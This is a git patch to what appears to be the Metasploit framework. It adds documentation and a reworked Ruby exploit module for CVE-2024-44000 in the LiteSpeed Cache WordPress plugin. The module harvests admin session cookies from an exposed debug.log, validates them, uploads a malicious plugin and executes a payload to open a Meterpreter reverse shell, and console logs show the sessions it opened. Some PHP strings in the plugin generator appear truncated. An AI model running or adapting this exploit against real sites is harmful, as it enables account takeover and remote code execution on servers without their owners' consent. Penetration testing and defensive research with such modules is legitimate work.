From c80a03fece37754b2633fca50bcbc3b1a3967199 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Wed, 11 Sep 2024 23:31:26 -0700 Subject: [PATCH] WP LiteSpeed exploit CVE-2024-44000 --- .../multi/http/wp_litespeed_cookie_theft.md | 112 +++++++++++ .../multi/http/wp_litespeed_cookie_theft.rb | 185 ++++++++++-------- 2 files changed, 215 insertions(+), 82 deletions(-) create mode 100644 documentation/modules/exploit/multi/http/wp_litespeed_cookie_theft.md diff --git a/documentation/modules/exploit/multi/http/wp_litespeed_cookie_theft.md b/documentation/modules/exploit/multi/http/wp_litespeed_cookie_theft.md new file mode 100644 index 000000000000..1d57cff74d63 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_litespeed_cookie_theft.md @@ -0,0 +1,112 @@ +## Vulnerable Application +This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin that currently +has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when the Debug Logging +feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint which is accessible +without authentication. The Debug Logging feature in the plugin is not enabled by default. The admin cookies +found in the debug.log can be used to upload and execute a malicious plugin containing a payload. + +### Setup +Spin up a WordPress container with the following docker-compose file: +```yml +version: '3.8' + +services: + db: + image: mysql:latest + volumes: + - db_data:/var/lib/mysql + restart: always + environment: + MYSQL_ROOT_PASSWORD: example_root_password + MYSQL_DATABASE: wordpress + MYSQL_USER: wordpress_user + MYSQL_PASSWORD: example_password + + wordpress: + depends_on: + - db + image: wordpress:latest + ports: + - "8000:80" # You can change the port as per your preference + restart: always + environment: + WORDPRESS_DB_HOST: db:3306 + WORDPRESS_DB_USER: wordpress_user + WORDPRESS_DB_PASSWORD: example_password + WORDPRESS_DB_NAME: wordpress + volumes: + - wordpress_data:/var/www/html + +volumes: + db_data: + wordpress_data: +``` + +Download, install and activate the vulnerable LiteSpeed Cache plugin: https://downloads.wordpress.org/plugin/litespeed-cache.6.3.zip +Once installed a LiteSpeed menu bar item should appear on the left hand side of the application. When clicked a drop down +should appear. Select "ToolBox", then select "Debug Settings". Then switch the "Debug Log" feature to "On". + +Sign out of WordPress and when you reauthenticate your admin cookie will be logged to /wp-content/debug.log + +## Verification Steps + +1. Start msfconsole +1. Do: `use multi/http/wp_litespeed_cookie_theft` +1. Set the `RHOST`, `LHOST` and `RPORT` +1. Run the module +1. Receive a Meterpreter session in the context of the user running the WordPress site. + +## Scenarios +### ARCH_PHP Target - LiteSpeed Cache 6.3 - WordPress 6.4.3 +``` +msf6 exploit(multi/http/wp_litespeed_cookie_theft) > rexploit +[*] Reloading module... + +[*] Started reverse TCP handler on 192.168.1.67:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] One or more potential admin cookies were found +[+] The target is vulnerable. Found and tested valid admin cookie, we can upload and execute a payload +[*] Preparing payload... +[*] Uploading payload... +[*] Executing the payload at /wp-content/plugins/qSNzhabMTP/OiDynMUetY.php... +[*] Sending stage (39927 bytes) to 192.168.1.67 +[+] Deleted OiDynMUetY.php +[+] Deleted qSNzhabMTP.php +[+] Deleted ../qSNzhabMTP +[*] Meterpreter session 7 opened (192.168.1.67:4444 -> 192.168.1.67:64935) at 2024-09-11 23:18:14 -0700 + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : 29292f368fe3 +OS : Linux 29292f368fe3 6.10.4-linuxkit #1 SMP PREEMPT_DYNAMIC Mon Aug 12 08:48:58 UTC 2024 x86_64 +Meterpreter : php/linux +``` + +### ARCH_CMD Target - LiteSpeed Cache 6.3 - WordPress 6.4.3 +``` +msf6 exploit(multi/http/wp_litespeed_cookie_theft) > rexploit +[*] Reloading module... + +[*] Started reverse TCP handler on 192.168.1.67:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] One or more potential admin cookies were found +[+] The target is vulnerable. Found and tested valid admin cookie, we can upload and execute a payload +[*] Preparing payload... +[*] Uploading payload... +[*] Executing the payload at /wp-content/plugins/IVStOPtwuq/WvXecICkgw.php... +[*] Sending stage (3045380 bytes) to 192.168.1.67 +[+] Deleted WvXecICkgw.php +[+] Deleted IVStOPtwuq.php +[+] Deleted ../IVStOPtwuq +[*] Meterpreter session 6 opened (192.168.1.67:4444 -> 192.168.1.67:64884) at 2024-09-11 23:14:49 -0700 + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : 172.22.0.3 +OS : Debian 12.5 (Linux 6.10.4-linuxkit) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/multi/http/wp_litespeed_cookie_theft.rb b/modules/exploits/multi/http/wp_litespeed_cookie_theft.rb index 77e614698761..374ac041b2ab 100644 --- a/modules/exploits/multi/http/wp_litespeed_cookie_theft.rb +++ b/modules/exploits/multi/http/wp_litespeed_cookie_theft.rb @@ -9,72 +9,87 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper - prepend Exploit::Remote::AutoCheck + prepend Msf::Exploit::Remote::AutoCheck + + class DebugLogError < StandardError; end + class WordPressNotOnline < StandardError; end + class AdminCookieError < StandardError; end def initialize(info = {}) super( update_info( info, - 'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft', - 'Description' => %q( - Wordpress LiteSpeed Cache plugin cookie theft - ), - 'Author' => + 'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft', + 'Description' => %q{ + This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin + that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when + the Debug Logging feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint + which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default. + The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload. + }, + 'Author' => [ + 'Rafie Muhammad', # discovery + 'jheysel-r7' # module + ], + 'References' => [ + [ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'], + [ 'CVE', '2024-44000'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => 'php linux win', + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [ + [ + 'PHP In-Memory', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + # tested with php/meterpreter/reverse_tcp + } + ], [ - '?', # discovery - 'jheysel-r7' # module + 'Unix In-Memory', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } ], - 'References' => [ - [ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'], - [ 'CVE', '2024-44000'] + 'Windows In-Memory', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + } ], - 'License' => MSF_LICENSE, - 'Privileged' => false, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Targets' => [['WordPress', {}]], + ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-09-04', - 'Notes' => - { - 'Stability' => [ CRASH_SAFE, ], - 'SideEffects' => [ ARTIFACTS_ON_DISK, ], - 'Reliability' => [ REPEATABLE_SESSION, ], - }, - ) + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) ) end def check - - return CheckCode::Unknown unless wordpress_and_online? - - res = send_request_cgi({ - 'uri' => '/wp-content/debug.log', - 'method' => 'GET' - }) - - return CheckCode::Unknown('No response from the target') unless res - return CheckCode::Safe('There seems to be no debug.log endpoint to pillage') unless res.code == 200 - - CheckCode::Vulnerable("Found cookie in debug.log") if res.body.include?("wordpress_logged_in") - + @admin_cookie = get_valid_admin_cookie + CheckCode::Vulnerable('Found and tested valid admin cookie, we can upload and execute a payload') + rescue WordPressNotOnline => e + return CheckCode::Unknown("This doesn't appear to be a WordPress site: #{e.class}, #{e}") + rescue DebugLogError => e + return CheckCode::Safe("#{e.class}, #{e}") + rescue AdminCookieError => e + return CheckCode::Safe("#{e.class}, #{e}") end def extract_cookies(debug_log) - all_logged_cookies = [] - debug_log.each_line do |log_line| - match = log_line.match(/Cookie: (.*)/) - all_logged_cookies << match[0] if match - end - all_logged_cookies - end - - def extract_admin_cookies(all_logged_cookies) admin_cookies = [] - all_logged_cookies.each do |log_line| - match = log_line.match(/(wordpress_logged_in_[^=]+=[^;]+).*(wordpress_[^=]+=[^;]+)|(wordpress_[^=]+=[^;]+).*(wordpress_logged_in_[^=]+=[^;]+)/) + debug_log.each_line do |log_line| + match = log_line.match(/Cookie: (wordpress_logged_in_[^=]+=[^;]+).*(wordpress_[^=]+=[^;]+)|(wordpress_[^=]+=[^;]+).*(wordpress_logged_in_[^=]+=[^;]+)/) admin_cookies << match.captures.compact.join('; ') if match end admin_cookies @@ -83,20 +98,19 @@ def extract_admin_cookies(all_logged_cookies) def verify_admin_cookie(admin_cookies) admin_cookies.each do |admin_cookie| res = send_request_cgi({ - 'uri' => '/wp-admin/', - 'cookie' => admin_cookie - }) + 'uri' => '/wp-admin/', + 'cookie' => admin_cookie + }) if res&.code == 200 - print_good("We've found and admin cookie, time to take over the world.") return admin_cookie - else - vprint_bad("Not an admin cookie") end end + + nil end def generate_plugin(plugin_name, payload_name) - plugin_script = %Q{} +?>) + php_code = "" zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) - zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded) + zip.add_file("#{plugin_name}/#{payload_name}.php", php_code) zip end - def exploit + def get_valid_admin_cookie + raise WordPressNotOnline unless wordpress_and_online? - fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? res = send_request_cgi({ - 'uri' => '/wp-content/debug.log', - 'method' => 'GET' - }) - fail_with(Failure::UnexpectedReply,'No response from the target.') unless res - fail_with(Failure::UnexpectedReply,'There is no /wp-content/debug.log endpoint on the target to pillage') unless res.code == 200 - fail_with(Failure::UnexpectedReply,'The debug.log file was found but there are no cookies inside to steal.') unless res.body.include?("wordpress_logged_in") - + 'uri' => '/wp-content/debug.log', + 'method' => 'GET' + }) + raise DebugLogError, 'There was no /wp-content/debug.log endpoint found on the target to pillage' unless res&.code == 200 + raise DebugLogError, 'There were no cookies found inside /wp-content/debug.log' unless res.body.include?('wordpress_logged_in') + admin_cookies = extract_cookies(res.body) + raise AdminCookieError 'No admin cookies could be found in debug.log' unless admin_cookies - all_cookies = extract_cookies(res.body) + print_status('One or more potential admin cookies were found') - fail_with(Failure::UnexpectedReply, 'There was an issue extracting cookies from the debug.log file') unless all_cookies - print_good("Cookies were found") + admin_cookie = verify_admin_cookie(admin_cookies) + raise AdminCookieError, 'Admin cookies were found but are invalid' unless admin_cookie - admin_cookies = extract_admin_cookies(all_cookies) - vprint_good("One or more potential admin cookies were found") + admin_cookie + end - admin_cookie = verify_admin_cookie(admin_cookies) - vprint_good("Verified we have a valid an admin cookie") + def exploit + unless @admin_cookie + begin + @admin_cookie = get_valid_admin_cookie + print_good('Found and tested valid admin cookie, we can upload and execute a payload') + rescue WordPressNotOnline => e + fail_with(Failure::NotFound, "#{e.class}, #{e}") + rescue DebugLogError => e + fail_with(Failure::UnexpectedReply, "#{e.class}, #{e}") + rescue AdminCookieError => e + fail_with(Failure::UnexpectedReply, "#{e.class}, #{e}") + end + end - print_status("Preparing payload...") + print_status('Preparing payload...') plugin_name = Rex::Text.rand_text_alpha(10) - payload_name = "#{Rex::Text.rand_text_alpha(10)}" + payload_name = Rex::Text.rand_text_alpha(10).to_s payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") zip = generate_plugin(plugin_name, payload_name) - print_status("Uploading payload...") - # require 'pry-byebug' - # binding.pry - - #admin_cookie = "wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7C8d04a7bea4697a96e4259346dc07654a081597b5484fb91df2a883c72f69f49d; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7Cb4fb6a316b94520cb51847f71fed25da55d1bcbe8295870dbc6eaa6282654c3b" - #admin_cookie = "wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7C8d04a7bea4697a96e4259346dc07654a081597b5484fb91df2a883c72f69f49d; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726261494%7Cftvy2vH8dTLXjkbZqNg6PU9u7RkI89U1qYfpsvqSPb3%7Cb4fb6a316b94520cb51847f71fed25da55d1bcbe8295870dbc6eaa6282654c3b" + print_status('Uploading payload...') - uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie) + uploaded = wordpress_upload_plugin(plugin_name, zip.pack, @admin_cookie) fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded print_status("Executing the payload at #{payload_uri}...") @@ -158,4 +179,4 @@ def exploit register_dir_for_cleanup("../#{plugin_name}") send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5) end -end \ No newline at end of file +end